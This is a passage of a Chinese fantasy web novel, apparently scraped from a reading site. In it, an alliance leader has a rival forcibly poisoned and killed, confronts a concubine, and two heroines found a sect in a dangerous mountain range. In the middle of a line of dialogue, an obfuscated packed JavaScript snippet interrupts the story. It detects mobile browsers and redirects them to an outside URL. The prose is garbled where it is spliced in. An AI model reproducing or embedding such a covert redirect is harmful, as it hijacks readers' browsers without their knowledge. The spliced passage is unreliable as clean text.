不,他最多是畏惧那疑似仙人的夕溯,绝不可能是害怕失去那双眼睛!朝渡就是个废物,一个一无所知,愚蠢可笑,连剑都丢了的废物,他最讨厌废物了。 可夕溯为何会是仙?她是怎么成仙的?凭什么是她成仙?! “盟主,来了很多人。”一个亲卫禀告道。 傅不辞一扭头,看到了无数双眼睛,无数个神色各异的面容。 游藏,各位长老,还有很多仙盟精英……他们看了多久?都看到了什么? 傅不辞的心顿时沉落谷底。 他僵硬地转过头,他知道,这些人都在等一个解释。 可他怎么解释。 忽然,游藏上前两步,抬起手,吸引了周围人的目光。 游藏严肃道:“封锁消息,今夜的事,一个字都不许传出仙盟,违者自仙盟除名!” 周围人目光诧异,傅不辞也惊讶:她居然会这样帮他? 游藏一边向傅不辞走来,一边吩咐道:“星霜,带人加强仙盟戒备,尽快收拾这附近的废墟,笑雨,带人查看守卫们的受伤情况,杨赴带人去附近搜寻入魔者与神秘人,立刻行动!” 被她点名的人齐齐应是,然后带着自己的属下离开行动。 傅不辞看着游藏走过来,从刚才一直阴沉的脸色缓和了些:“还是你靠得住。” 游藏冷声道:“新剑试锋大比即将开始,盟主夫人入魔和盟主剑折的事如果传开,整个修仙界都会成为妖族的笑柄,大比举办也会徒增风波,甚至夭折,这是现在绝不能发生的。不过今晚看到这事的人不少,就算封锁消息也瞒不久,盟主,你最好还是准备一个周全可信的解释。” “解释?”傅不辞冷笑,这让他怎么解释?解释夫人被他和沈锦簇气到入魔?还是解释他的剑被夕溯一招震碎? 但他也知道,如果不给出一个合理的解释,他这些年得到的一切,苦心经营的名声就要全毁了。 傅不辞强忍心头烦躁和怒火,答复道:“天亮之前,我会给出一个合理的解释。让宁长康来我书房。把沈锦簇也带过来!” 31. 沈锦簇入魔 书房中,宁长康还没到,只有傅不辞,他的亲卫,以及沈锦簇。 傅不辞坐在书桌后,眼神冰冷地打量着沈锦簇。 沈锦簇有点怕,却强撑着问:“朝渡入魔了,肯定不能再当盟主夫人了吧?你现在还有什么借口敷衍我和沈家?” 傅不辞忽然笑了起来,一扫方才的冰冷,温柔道:“没有借口了。” 沈锦簇一愣,继而欣喜起来:“真的?” “真的。”傅不辞含笑点头,“我现在就让你……” 沈锦簇的眼睛逐渐亮了起来。 傅不辞一声轻笑,说完了剩下的半句:“让你落得她的下场。” 沈锦簇:“……?!你什么意思?” 傅不辞温柔地注视着她,微笑吩咐道:“给她一颗入魔丹。” 沈锦簇看到傅不辞身边的亲卫取出入魔丹,不可置信地看了一眼傅不辞,已经顾不上再问,立刻就要逃,两把冰冷的剑却已经横到了她的脖子上,还有一把剑抵着她的背,一个人掰开她的嘴,要把泛着缕缕黑气的入魔丹塞进去。 沈锦簇意识到了自己的下场,眼中流出泪水,不断摇头拒绝入魔丹,脖子被旁边的剑刃割出许多伤她也顾不上了。 傅不辞真的打算杀了她! 她边扭头躲入魔丹,边求饶道:“我不当夫人了!让我离开!呕!”她把塞进嘴里的入魔丹吐了出来。 傅不辞不满道:“一群废物,不会定身吗,喂个药都费劲。” “咳咳咳。” 随着一阵熟悉的咳嗽声,门被推开,宁长康走了进来,扫了一眼屋内的情况。 沈锦簇就像看到了救命稻草,哀求道:“宁仙侍!求您救救我!” 宁长康点了点头,对她旁边的亲卫道:“喂药时动作轻点,一会剑快点,人家可是沈家的千金,受不得苦的。” 傅不辞一声轻笑。 沈锦簇绝望地看着他们。 一个亲卫将她定身,沈锦簇眼睁睁地看着那入魔丹被从地上捡起,带着灰尘重新塞到她喉咙里,再不给她吐出来的机会。 灼热的疼痛感从喉咙蔓延到胃部,又蔓延到四肢百骸。 她的喉咙哑了,想喊一声疼都喊不出来,只能在心中哭喊:‘疼,好疼啊娘!我好疼!’ 她是沈家的大小姐,生下来便是娇生惯养,宠爱傍身,锦绣相簇的。 她的一根头发丝都是金贵的,她何曾受过这种疼痛。 她眼前的一切都泛起了血色,隐约可以看到傅不辞取了一个亲卫的剑,一步步向她走来,冰冷的剑锋上倒映着她因痛苦而扭曲的脸,还有她脸上的血色魔纹。 ‘爹,娘,我回不了家了。” “我该听你们的劝,不该偷偷溜出来找他的……’ ‘当年你们就说他不是可以托付的良人,说他如果真如传言中那般情深义重,又怎会让我有可趁之机,可我已经爱上了他,没有深思也不想深思,听见你们的话还觉得烦,只觉得自己是那个特殊。’ ‘我错了,我知道错了,但已经来不及了。’ ‘娘,我发誓,下辈子我一定乖乖听话……’ 剧痛中,她断断续续地想着,眼中流下黑红色的血,入魔丹的魔气已经蔓延全身,她的喉咙倒是没那么疼了。 她拼尽全力发出一声沙哑的嘶吼:“傅不辞!你这个薄情寡义忘恩负义的小人!你不得好死!!!” “呵。”傅不辞漫不经心地轻笑道,“死人说的话,作不得数的。” 或许是因为入魔太疼了,以至于当剑锋刺进她心口时,她竟没感觉太疼。 周围的亲卫们松开了她,她踉跄了两步跌倒在地。 她死死盯着面容逐渐模糊的傅不辞,提起最后的力气疯狂笑道:“我一定会变成鬼,然后看你众叛亲离、自取灭亡!” 众叛亲离,自取灭亡。 傅不辞听到这八个字,陡然停住动作,眼神冰冷地俯视沈锦簇,她的眼睛逐渐失去光茫,但嘴角还带着方才疯狂的笑意,仿佛已经看到了夕溯所说的他的结局。 “夕溯……”傅不辞咬牙切齿地念出这个名字。 死人说的话,自然是不作数的,可夕溯还活着,她的胡言乱语,让那么多人都听到了。 “我迟早会杀了你。”傅不辞低声道,双眼充斥着冰冷可怖的杀意。 傅不辞闭了闭眼,藏起杀意,收剑入鞘,摆了摆手:“把她拖下去,处理了。” 宁长康在一旁揣着手,笑吟吟的,像看了一场好戏:“就这样杀了她,咳咳咳,你打算怎么向沈家交代?” 傅不辞回到书桌后的座位上,冷笑道:“不杀她,难解我心头之恨。今晚就是她引起这一切,沈家若还聪明,就该自己给自己一个交代,别再来烦我。” 宁长康:“那要是不聪明?” 傅不辞:“那就一起下去陪她吧。行了,我让你来不是让你看戏的。” 宁长康笑道:“当然没有看戏,对于沈家,我有个更好的法子……” 宁长康将自己的法子告诉傅不辞,傅不辞当即拍手:“妙啊!论缺德还得是你。” 宁长康眯起眼睛笑道:“多谢盟主夸赞。不过今夜要解决的麻烦不止这一个吧?” 傅不辞把今晚的情况简单告诉宁长康,询问:“今晚的事,你觉得怎么解释比较好?” 宁长康垂眸思索片刻:“夕溯此人实在有趣……咳咳咳,根据眼下的情况,咳咳,我有三策,可解盟主之急。” “哦?哪三策,说来听听。”傅不辞饶有兴趣。 宁长康:“这第一策嘛,就是盟主去给夫人道歉,把她求回来。盟主你先别急,咳咳咳,听我说。” 傅不辞冷冷看他:“说,让我看看你的脑子是不是也病入膏肓了。”他现在心情真的很差,听到他这第一策后更是直接黑了脸。 宁长康眼中露出一分不悦,但面上仍笑吟吟道:“那夕溯十分重视,咳咳咳,朝夫人,如果盟主能得到夫人的谅解,得到夫人的心,那夕溯为了朝夫人,咳咳,不就只能干着急但拿您没办法了吗?” 傅不辞冷笑:“她今天入魔,连我是谁都分辨不出来,一心只想杀了我,怎么可能听我道歉。而且让我去求那个废物的原谅?做梦!” 宁长康遗憾地摇了摇头,又道:“不过我还有两策,咳咳,这第二策呢,盟主可以对外声称夫人生病了,不方便见人,然后尽快找个精通易容术的替身,以后她就是你的“夫人”了,咳咳咳……哪天腻了,您让她出点错,直接名正言顺换了夫人便是。” 傅不辞听了,神色缓和不少,微微点头:“这个还有点可行,不过夕溯带走的那个真的怎么处理?” “好说。”宁长康毫不在意地笑道,“夕溯要么不声张这件事,要么承认自己绑架了盟主夫人,要么承认自己那边那个是假的,咳咳咳——她但凡有点理智,就知道不该与仙盟为敌,不然天下哪有她的立锥之地?那她最大的可能就是不声张了。那边她不声张,这边咱不揭穿,那替身就是真的,她那边那个就是假的。咳咳咳咳——” 傅不辞微微点头,赞许道:“这个主意不错,先喝杯茶吧,看你咳的。” 傅不辞亲自给宁长康倒了杯茶,宁长康接过茶,喝了一口润了润嗓子,刚才他眼睛都咳嗽红了。 休息片刻后,他继续道:“还有一策,可以说是魔修荧惑蛊惑夫人入魔,并将夫人带走。直接揭穿夕溯就是荧惑,在仙盟发起对夕溯的通缉令。夕溯再强,还能与整个修仙界为敌吗?” 傅不辞沉思片刻,摇头:“这策不行,修仙界现在没力气去大规模搜捕一个人,如果把夕溯逼急了,她去与妖族魔尊鬼王联手,修仙界当真危险了。” 他闭上眼,疲惫道:“就第二策吧,希望夕溯是个识相知好歹的人。” 宁长康眼神闪烁,笑而不语,随后放下茶杯告辞。 傅不辞歇息片刻,强撑起精神,来到了青云仙宫的归仙阁中。 青仙剑已断,他得赶紧换柄新剑,幸好归仙阁第三层里收藏了不少好剑。 他步伐缓慢地走在第三层,视线随意地扫视过架上墙上的一把把名剑,却迟迟没有伸手拿起一把。 他的脑海中不由自主地浮现出不久前,夕溯那把闪烁着雷光的剑,他心里清楚,他归仙阁所藏的剑,没有一把比得上夕溯的剑。 想起夕溯,他又想起青仙剑被毁的那一刻,那个夕溯居然只用了一招,只用了短短片刻,就毁了青仙剑!!! 极度的恐惧溢出心头,从他的眼睛里露出来,他站都有些站不稳,扶着旁边的一个剑架才勉强没有倒下。 他再换一把剑又如何,如果遇见夕溯,不还是会被她一招折了? 他忽然想起那天晚上,在苏柔蕊的庭院,夕溯溜着他,引着他用剑气在地上刻下“你不配”三个字。 他当时无比气愤,如今却只有绝望。 他忽然失了力气,颓然倚着剑架缓缓坐下,也顾不得没有风度弄脏衣服了。 夕溯到底是谁? 难道她真的是仙?! 可为何会是她成仙,她凭什么是仙?!她跟朝渡究竟是什么关系?二人怎会如此相像! 想起朝渡,傅不辞的脑海中冒出她提着朗月剑向他刺来的那一幕。 他忽然缓缓坐直了身体,之前没有细想,现在他才忽然发现不对劲:朗月剑为何会在朝渡手中?! “来人!来人!”傅不辞站起身,都顾不得拍身上沾染的尘土,向匆匆开门进来的归仙阁管事质问:“朗月剑是什么时候丢的?” 归仙阁管事讶然道:“是之前有刺客袭击柔花庭的那天,苏仙侍来查时我们就告诉苏仙侍了,她没有告诉您吗?” 傅不辞面色陡然阴沉下来:朝渡多年疏忽修炼,那天怎么会忽然想起来拿剑?更巧的是,那天晚上,夕溯就来柔花庭,用无怜重剑袭击他了。 无怜重剑和朗月剑都收藏在归仙阁里,那天夕溯很有可能是跟朝渡一起来的! 傅不辞忽然笑了,被气笑的:那一天,朝渡和夕溯先是一起去了待仙塔,拿走第九层的所有剑,又来到了他的归仙阁,拿走了无怜重剑和朗月剑。 她们俩玩得挺开心吧?!怎么不把他的归仙阁也搬空啊??? 更令他心寒心惊的是:如果那个时候朝渡和夕溯已经勾结在一起了,那后来那段他与朝渡重新亲密的时日,朝渡竟从未向他提起过夕溯的存在,甚至夕溯可能一直就在旁边看着! 朝渡明知他被夕溯袭击,明知他因为夕溯烦心无比,却竟不曾向他提起过夕溯?! 他没有当年那么爱她了,她亦然。 他觉得如今的她是废物,她又是怎么看现在的他呢? 傅不辞忽然狂笑出声,吓了归仙阁掌事一个激灵,但掌事不敢吭声,只是偷偷瞄了一眼不知道发什么癫的盟主,然后默默把头低得更低。 “还有苏柔蕊……”傅不辞咬牙切齿地念出这个修仙界第一美人的名字。 苏柔蕊明知那天朝渡拿走了朗月剑,居然没有告诉他。 她和朝渡多年不对付,这么好的把朝渡拉下水的机会,她怎么会错过? 除非,她跟夕溯也有联系。 再想起苏柔蕊后来搬到朝渡的琴瑟宫旁边去住,还冒着顶撞他的风险替朝渡说话…… “好一个朝渡!好一个苏柔蕊!你们全都瞒着我!全都背叛我!!!”傅不辞笑到面目狰狞扭曲。 他随意取了旁边剑架上的一把剑,一脚踢开碍眼的掌事,直接离开归仙阁,来到了苏柔蕊如今所住的逢春轩。 已快要天亮,逢春轩却还亮着灯。 傅不辞隐藏气息悄无声息地穿门进入屋里,惊讶地发现那不是灯,而是一捧仿佛火焰的花。 这些花插在花瓶中,放在桌上,在夜里竟仿佛一盏明亮的灯。 那是什么花,他竟从未见过。 而苏柔蕊坐在桌前,借着“火焰花灯”的光,凝望着桌上的无怜重剑,一脸沉思模样,不知在想些什么。 她竟迟迟没有把无怜重剑送还归仙阁! 傅不辞不由得一声冷笑:“看来你很喜欢夕溯送你的礼物啊。” 苏柔蕊蓦地抬头,美目中露出一丝惊慌:“你怎么在这里?!” 傅不辞提着剑一步步逼近她,温柔笑问:“我怎么不能在这?你不想见到我?你在怕什么?怕我发现你和夕溯早有联系?” 苏柔蕊脸色发白,但很快调整过来,先是如平常般行了一礼,接着露出委屈的模样,反问他:“仙君说我和夕溯有联系,有什么证据吗?” “既然没有联系,你刚才紧张什么?”傅不辞居高临下地打量着她,苏柔蕊抚着心口,美目含泪,似一只无助的小鹿,可怜兮兮地道:“因为没想到仙君会这个时辰过来,被吓了一跳,而且我确实有愧对仙君的地方……这柄重剑,我一直没有还给归仙阁。” 傅不辞:“哦?为何不还?” “因为……说来仙君或许不信,其实我一直想要一柄重剑,家里人却觉得柔花仙子不该用重剑,仙君你觉得呢?”苏柔蕊目光楚楚可怜,眼底却暗藏锋芒。 傅不辞不屑地一声冷笑:“你用重剑做什么?你拎的动吗?这借口找的太差了。我再问你,你那天明知道朝渡拿了朗月剑,为何不告诉我?” 苏柔蕊听完他的答案,闭上眼,缓缓摇了摇头:“因为我累了。” 傅不辞皱眉:“你什么意思?” 苏柔蕊一声叹息:“就是字面意思,我累了,我不想再跟朝渡争了,不想再当柔花仙子了,也不想再做六仙侍了。” 傅不辞眉头紧锁,没想到她会给出这样的答案,他忍不住问:“你也疯了吗?!” 苏柔蕊一声轻笑:“没疯,只是太累了。” “你有什么好累的?”傅不辞眼中有些鄙夷,“跟朝渡一样矫情。” 苏柔蕊微怔,垂下眼睛低声笑了起来,边笑边摇头,目光中尽是释然:“罢了罢了,仙君便当我今晚醉了,说的都是胡话。” 傅不辞:“……确实都是胡话。” 苏柔蕊浅笑着点了点头。 傅不辞看着她的笑,莫名感觉心里有点毛毛的,她没有如他预料般背叛他,却给出了他完全意料之外的回答。 这种失去掌控的感觉让他有些不安。 傅不辞忍不住怒问:“你到底怎么了?!” 苏柔蕊温柔摇头:“有劳仙君关心,柔蕊一切安好。” 她温柔的语气、表情、动作都仿佛与往常一样,可傅不辞还是感觉哪里变了,在他不知道的地方,找不到的细节里。 傅不辞愈发烦躁:“安好就别矫情!我最近没空安慰你们!尽快给我找一个擅长易容术的人,让她去模仿朝渡,住到琴瑟宫里,没有我的命令,任何人不得进出琴瑟宫。” 苏柔蕊状似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671902|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诧然地问:“模仿朝渡?朝渡出事了?”她的手在袖子中悄悄攥紧了。 傅不辞看她仿佛什么都不知道的模样,微微松了口气,看来消息封锁得还是比较严实的。 而且也许苏柔蕊可能确实和夕溯没什么联系,夕溯连带着入魔朝渡出逃的事都没告诉她。 傅不辞把今晚的事简单告诉了苏柔蕊:“朝渡被沈锦簇刺激到,入魔了,夕溯终于露面了,带着朝渡一起逃走了。”他没打算瞒她,毕竟她是六仙侍之一,多年来也算忠心耿耿,尤其是现在还用得上她。 苏柔蕊震惊片刻,立刻追问:“夕溯要带朝渡去哪里?!” “这我哪知道。”傅不辞面露不悦,因为她第一时间居然不是关心他!也不是对朝渡入魔的事煽风点火!而是询问夕溯的下落!难道她跟夕溯还是有关系……? 傅不辞盯着她的脸,忽然问:“朝渡入魔,你好像并不开心?她入魔后,盟主夫人的位置可就是你的了,你不是想当夫人很多年了吗?” 苏柔蕊沉默一瞬,抬起脸柔柔笑道:“柔蕊以前太过小家子气,如今也想学着仙君,优先以大局为重。这朝渡入魔,定然会有很多麻烦,这时候柔蕊哪还能惦记夫人之位呢?再说,柔蕊能替仙君分忧,在仙君心里定然是有位置的,这位置可比那夫人的位置重要百倍。” 她媚眼如丝一如往日,傅不辞心里也舒服了,这才对嘛,这才是最贴心最温柔的解语花。 傅不辞赞道:“你是真正的聪明人,你放心,我不会亏待你的。” 他眼角余光瞥见桌上的重剑,随口道:“比如这重剑,你要是真想要,就赏你了。” 苏柔蕊却并不看向重剑,只温柔眷恋仰慕地望着他,柔声道:“谢过仙君,仙君对柔蕊而言,可比这重剑再重要百倍千倍。” 傅不辞彻底舒坦了,今晚因夕溯的紧张恐惧憎恨嫉妒等各种情绪也随之暂时消散,不过还不够。 “你这里有酒吗。”傅不辞问,他今晚心里不痛快,想喝个痛快。 苏柔蕊明眸微弯,轻巧笑道:“柔蕊随时备着呢,都是仙君爱喝的酒,仙君稍等,柔蕊亲自去拿。” “不,你在这陪着我,让你的侍女去就行了。”傅不辞将她搂进怀里,此刻只有她令他安心放松,他竟不想让她离开片刻。 苏柔蕊无奈唤来值夜的凌波,让她去取酒。 “仙君来了,把最好的那几坛酒都拿来。”苏柔蕊吩咐道,傅不辞俯首在她颈间嗅她身上的花香,愈发眷恋,愈发不舍得放手。 等凌波取来了好酒,苏柔蕊亲自为他挽袖斟酒,一杯接一杯,配着美言,将他灌醉。 傅不辞喝了个烂醉,趴在桌上不省人事,苏柔蕊还是第一次见他醉到这种程度。 她有点嫌弃地皱了皱眉,再次看向桌上的浴火花,纤长的金色花蕊好似凤凰,正待浴火重生。 这些时日,她想通了,也受够了在这里的日子,她要离开这里。 待她知道夕溯的下落,她就离开这青云仙宫,离开傅不辞,离开苏家,离开困了她许多年的牢笼。抛却枷锁般的虚名,去追寻心中埋藏多年的声音。 ‘去试试吧,一辈子很长,给自己一次机会,去做你真正想做的。’苏柔蕊在心中轻轻念着夕溯藏在重剑中的话,嘴角轻扬,目光中倒映着浴火花的明亮光芒。 至于傅不辞,还有那盟主夫人之位,她已经全然不在乎了,今晚之所以还陪着傅不辞演戏,只是为了不让他生疑,不影响她离开的计划。 ‘愿我也能迎来新生。’她悄悄许愿。 ………… 另一个朝渡醒来时,眼前仍有淡淡的血色缭绕,但片刻的朦胧模糊后,她能看清周围了:染金绘紫的云海,下方隐约可见深绿到发灰的群山,她应该是在哪座山的山顶,但不知是晨是晚。 “醒啦?” 熟悉的,令人安心的声音从她身旁响起。 另一个朝渡扶着头坐起来,嗓音沙哑着问:“我们这是在哪?我怎么晕过去了?”说着,她的视线无意中扫过自己撑着地的另一只手。 原本素净洁白的手,此刻却蔓延着数道猩红刺眼的纹路,沿着手腕盘旋向上。 她愣了一瞬,惊慌将袖子捋起,胳膊上竟也遍布那些诡异的赤色纹路,她愕然问:“这些纹,难道是……” 朝渡轻咳一声:“现在有个好消息,也有个坏消息,你想先听哪个?” 另一个朝渡盯着那些赤色纹路,喃喃问:“坏消息是,我入魔了?啊————” 昏迷前的那段记忆骤然涌现出来,如烟花般在她眼前炸开,随之带来的是剧烈头疼,眼前的血色也变得浓郁起来。 她抱紧了头,看起来极其痛苦,连嗓音都抖得不成样:“我看到了!我看到了!有个怪物杀了不辞!从他身体里钻了出来!!!我要杀了那个怪物给他报仇!!!!!”最后一句她几乎是嘶吼出来的。 朝渡轻轻抚摸她的脑袋,怜惜道:“那是幻觉,是入魔前的幻觉,傅不辞还是那个傅不辞,只是他变了,变了太多。” 另一个朝渡呆住:“可我亲眼看到了怪物,四肢很长,跟人很像但绝对不是人的怪物,他把不辞撕开了……” 她说着,眼珠的赤色随之加深,身上的魔纹散发出猩红的光芒,周身弥漫起红黑色的雾气,但眨眼间,这些雾气就汇向了她手腕上一对晶莹剔透泛着冰蓝色的镯子。 随后,以冰髓镇魔镯为起始点,透明泛蓝的冰顺着她手腕手臂上的魔纹蔓延,将魔纹悉数覆盖冻结。 “好凉!这镯子怎么这么凉?这些冰是?”另一个朝渡倒吸了一口气,脸都冻得有点发白了,但瞳孔中的赤红色淡了不少。 朝渡怜惜地看着她,却没有阻止那些冰。她解释道:“这镯子是冰髓镇魔镯,这些冰能吸纳你体内魔气,帮你维持神智清明。魔气越多越乱,冰越多。”如果她的魔气失控太多,或许会被直接冻成冰雕。 另一个朝渡低头看着双手上的镯子,以及蔓延在手臂上的冰及冰下的赤红魔纹,喃喃问:“所以,我真的成魔了?我居然成了魔修?!” 朝渡握住她的一只手,安慰道:“你只是入了魔,跟那种丧心病狂为非作歹的魔修还是有很大区别的。” 另一个朝渡绝望道:“那我也是魔了……杀了我吧,趁我犯下更多错误前,趁我害了其他人前,杀了我!” 她眼角有清透的泪水滑落,还没来得及滴落,就在她脸颊上凝结成了冰珠,她捂着脸崩溃痛哭道:“我对不起爹娘,对不起遥遥,对不起死在魔修手里的那些人!还有忆昔,我对不起忆昔,居然让她有了一个入魔的娘,这会彻底毁了她的前途的!” 朝渡抬起另一只手擦掉她脸颊上的冰珠,温柔道:“你能有这些歉意,你就永远不会跟那些魔修同流合污,也能慢慢学会控制这份力量,不轻易失控,别急,而且不是还有个好消息嘛。” “好消息?”另一个朝渡疑惑地看向朝渡,真心实意地不解,“还能有什么好消息?” 朝渡徐徐道:“细数起来,这好消息甚至不止一个,第一,你的经脉被魔气完全修复了,而且比之前坚韧很多。第二,你现在的力量至少是原来的五倍,不过在你彻底学会控制魔气之前,最好别用太多,容易失控。第三,你见识到了傅不辞的真面目,终于不再自己骗自己,此番离开青云仙宫,你会有更广阔的天地,你未来的路还很长。第四,来不及说了,你快抬头看!” 32. 仙隐宗 另一个朝渡愣愣地抬起头,恰逢一点金红如鲤鱼般跃出云海,如月相般渐渐由缺至圆,将万丈灰蓝云海从远到近悉数染成熠熠生辉的朝霞锦缎。 明亮温暖的朝阳落进她的眼底,驱散她眼前的血色迷雾,清风温柔拂过她脸颊上的泪痕,她手臂上的冰在逐渐消退,魔纹魔气都渐渐归于平静。 “多美的景,多辽阔的天地,对吧?”朝渡笑吟吟道。 另一个朝渡望着这静谧安详却又生机勃勃的日出之景,怔怔落下泪来。 “今天的太阳,也升起来了。”她喃喃道。 朝渡点头:“是呀,今天它也历经长夜,又升起来了。一天又一天,千千万万次,走出长夜,重新升起,我们也应如此。” “走出长夜,重新升起……”另一个朝渡低声复述着,不自觉握紧了手。 朝渡侧头望向她,握着她的手,温柔道:“如果你感觉入魔是个错误,那就修正这个错误,如果你感觉毁了忆昔的未来,那就给她创造更好的未来,如果你感觉傅不辞已经不是过去的他,你可以选择释怀和离开,也可以选择,让他为自己的所作所为付出代价,总之,你的路没有就此结束,走出你的长夜吧,无论你做出何种选择,我会陪着你。” 另一个朝渡怔怔地望向朝渡,过去十余年积攒的满腹委屈痛苦化成泪水涌了出来。 她蓦地抱紧朝渡,放声痛哭。朝渡轻拍她的肩背,静静地陪着她等她哭完。 又过了好一会,另一个朝渡哭声渐弱,她抽泣着断断续续地问:“我真的还,还,有路能走吗?” 朝渡肯定道:“当然,世上那么多条路,一条不通,再换一条,说不定风景更美。” 另一个朝渡带着泪笑了笑,然后她擦掉泪,靠在朝渡肩头,遥望向金红云海,静静看了许久,才再次开口,声音轻而坚定地道:“我明白了,我要继续往前走,我要当第一个由魔入仙的人,我要给忆昔创造更好的未来,我要让傅不辞为他这些年的所作所为付出代价!” 朝渡欣慰地笑了笑,又问:“对了,你觉得这山,这景怎么样?” 另一个朝渡赞道:“都极好。” 朝渡:“那就这了。” 另一个朝渡有点疑惑地歪头看向朝渡:“这?你打算做什么?” 朝渡唤出千钧剑,站起身,侧头对她笑道:“以后,这就是我们仙隐宗的山啦,你想看这日出的话,每天都能看到。” 另一个朝渡:“……!” 朝渡飞向悬崖,抽剑出鞘,以剑为笔,剑气为墨。 磅礴的剑气呼啸而出,刹那间云海翻涌退散,万鸟惊鸣飞起,随着一道道剑气嵌入山岩,龙飞凤舞的三个大字“仙隐宗”刻在了这座山的上半截。 朝渡满意收剑回到山顶,另一个朝渡看起来却有点忧心:“建宗门的话,是不是还得跟仙盟那边打交道?那我……要藏起来吗?他们会怎么处置我?他们会逼你把我交出来吗?他们不会围剿我们和仙隐宗吧?” 朝渡轻弹她的肩膀,笑道:“你只管大大方方的,该修炼修炼,其它不用担心,有我在。” “……好!”另一个朝渡点头,“不过话说这是哪里?这是什么山?” 朝渡:“这是灰荒岭里的一座无名山。” “灰荒岭?!!!”另一个朝渡一惊,猛地看向金红云海下方,隐约可见深绿近黑,鬼气幽幽的群山密林。 朝渡淡定点头。 另一个朝渡错愕看向她,忍不住问:“咱们居然要在这建宗门吗?!这里非常危险的!既有妖族,还有魔修!据说曾经很多修仙者在这里失踪,仙盟想清理这里,派了数百个精英过来,结果损伤大半……从那以后,连仙盟都不敢再靠近这里,咱们居然要在这里建宗门?!” 朝渡微笑道:“确实危险,不过不是对咱们,而是对他们。” 朝渡兴致勃勃,跃跃欲试地望着云海下方危机四伏的山林,抚剑笑道:“怕的该是他们。” 另一个朝渡慌乱中看到朝渡从容不迫的模样,看着看着她忽然就不慌了。 “那行,灰荒岭就灰荒岭吧,仙盟都不敢来的地方,咱们直接住这!说出去多有面子。”另一个朝渡开了个玩笑,又转身望向身后空地,“既然把宗门地址选到了这里,咱们是不是得在这建房子?嘶,我还没盖过房子。” 朝渡坦白道:“我也不会。” 另一个朝渡:“啊,这……这找谁帮忙?会有工匠愿意来这里建房子吗?” “不用找人帮忙,我有虚实相生卷,问题不大。”朝渡不急不缓地张开手,手中浮现一个卷轴,这卷轴近乎透明,但卷轴内有一黑一白两条水墨小鱼悠闲游动,留下淡淡的墨迹涟漪。 另一个朝渡盯着卷轴,缓缓睁大眼睛,震惊问:“这、这是那个在修仙天器排行榜前三的虚实相生卷?!传闻它能转换虚实,已经下落不明几百年了,你是在哪得到它的?!” “一方隐蔽的琥珀境里,你没遇到?”朝渡将卷轴展开,透明的卷轴自动浮空,两条水墨小鱼在其中悠闲游动,仿佛这是它们的鱼塘。 另一个朝渡缓缓摇头,神色复杂:“我没遇见,傅不辞好像也没拿到,我不记得他的归仙阁里有这个,而且如果他拿到了,他肯定会到处显摆让全修仙界都知道的。”另一个朝渡讥讽道。 “那就是他也没拿到,这样一来,这个世界里应该还有一个?有空可以去看看。”朝渡说着,用指尖点了点卷轴,同两条小鱼道,“我要建个宗门,你们有没有记录合适的房屋?” 两条小鱼顿时变得欢快起来,它们蹦出“水面”,仿佛在跟朝渡打招呼,随即在“鱼塘”中飞速游动,鱼尾摆出来的墨色涟漪组成了几栋雕梁画栋,金碧辉煌的房屋。 另一个朝渡:“这好像是寻玉派的房子?印象里这门派可有钱了,是唯一一个浮在空中的门派,傅不辞修建青云仙宫就是受到这门派的启发。” 朝渡点头:“毕竟是专攻仙器炼制的门派,富得流油,但是收材料时很抠门,原来没少坑我,啧。”朝渡说着又点了点卷轴,“辛苦两位再来几个。” 两条小鱼再次快速游动,这次“鱼塘”里浮现了一群轻纱飞扬,美轮美奂的房屋。 另一个朝渡:“这好像是风华城里的房子风格?” 朝渡颔首:“是。不过感觉也不太合适,再看看其它的?” 两条小鱼又努力在“鱼塘”里“画”了十来次,朝渡还没有太满意的,她一边用灵力凝了些“鱼食”投喂它俩,一边反复翻看这些设计方案:“都不合眼缘,麻烦。” 另一个朝渡问:“你大概想要什么风格的?” 朝渡:“就比如仙衣阁那种就很好……” 两个朝渡蓦地对视一眼。 另一个朝渡眼睛亮闪闪的:“那就仙衣阁?” “那就仙衣阁!”朝渡来了兴致,把手掌按到虚实相生卷上,闭上眼,“我先用我的记忆在虚实相生卷里留下仙衣阁的样子。” 两条小鱼又忙活起来,一阵阵墨色涟漪后,画卷里陆陆续续浮现出了仙衣阁的模样。 朝渡抬起手,问另一个朝渡:“怎么样,像不像?” 另一个朝渡望着画卷上的仙衣阁,惊喜点头:“太像了!跟我记忆里的一模一样!” 朝渡颔首:“那我开始了。” 她抬起手,画卷由横平放置变成竖立,正对着山顶空地。 朝渡手间聚集灵力,注入画卷中,两条小鱼悠悠游出画卷,体型越游越大,几个眨眼的功夫,已经有数丈长了,甚至还有继续增大的趋势。 另一个朝渡惊诧:“这两条鱼怎么能变得这么大?” 朝渡笑道:“其实它们是鲲鹏,还能变得更大,不过只是建个门派,就没有必要了。” 另一个朝渡惊叹:“那两条小鱼居然是鲲鹏……那什么时候需要它俩完全变大?最大得有多大啊?” 朝渡:“比如要建一座城池时,也许以后有机会见到,不过得等我的灵力再恢复些。” 两人闲聊时,两条半大的鲲鹏徐徐游过山顶,晃动尾巴,荡起水墨涟漪,勾勒出仙衣阁房屋乃至草木的轮廓。 朝渡:“看还有没有哪里要改的,现在还有机会。” 另一个朝渡仔细看了一会,叹服:“没有了,哪里都跟我印象里的一模一样。” “那就这样定稿了。”朝渡将手完全按在虚实相生卷上,低声念道,“以实画虚,以虚化实,虚实相生卷,开!” 下一瞬,巨量的灵力源源不断涌进画卷,流光溢彩的五色“颜料”从画卷后如海潮迸发,眨眼间激荡席卷整个山顶,填满刚才水墨勾勒出的“草稿”。 十数座精巧的小楼,廊桥,凉亭以及房屋周围的花草树木被惟妙惟肖地“画”在了山顶,无限接近于她们记忆中的仙衣阁。 另一个朝渡没忍住向前走了数步,手指颤抖地抚摸仙衣阁的大门。 指尖传来厚实木板的质感,上面还有仿佛新刷的红漆,摸起来冰凉而光滑。 走进大门再往前,道路上铺着一块块打磨过的青石板,平整中仍带着些属于石头的粗糙。 “简直不可思议……怎能如此真实?”不知不觉间,她已再次湿润了眼眶。 再向前,繁华满枝的琼棠树,风拂过,花雨纷纷,落了她满肩。 